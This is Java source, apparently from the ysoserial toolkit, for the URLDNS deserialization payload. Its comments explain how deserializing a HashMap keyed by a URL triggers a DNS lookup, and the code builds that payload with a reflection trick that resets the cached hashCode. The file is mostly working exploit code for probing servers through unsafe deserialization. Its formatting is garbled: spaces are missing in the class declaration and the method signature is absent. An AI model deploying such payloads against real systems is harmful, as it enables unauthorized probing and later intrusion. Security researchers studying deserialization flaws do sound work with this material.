/** * A blog post with more details about this gadget chain is at the url below: * https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/ * * This was inspired by Philippe Arteau @h3xstream, who wrote a blog * posting describing how he modified the Java Commons Collections gadget * in ysoserial to open a URL. This takes the same idea, but eliminates * the dependency on Commons Collections and does a DNS lookup with just * standard JDK classes. * * The Java URL class has an interesting property on its equals and * hashCode methods. The URL class will, as a side effect, do a DNS lookup * during a comparison (either equals or hashCode). * * As part of deserialization, HashMap calls hashCode on each key that it * deserializes, so using a Java URL object as a serialized key allows * it to trigger a DNS lookup. * * Gadget Chain: * HashMap.readObject() * HashMap.putVal() * HashMap.hash() * URL.hashCode() * * */ @SuppressWarnings({ "rawtypes", "unchecked" }) @PayloadTest(skip = "true") @Dependencies() @Authors({ Authors.GEBL }) publicclassURLDNSimplementsObjectPayload<Object> {

//Avoid DNS resolution during payload creation //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload. URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL URL u = new URL(null, url, handler); // URL to use as the Key ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
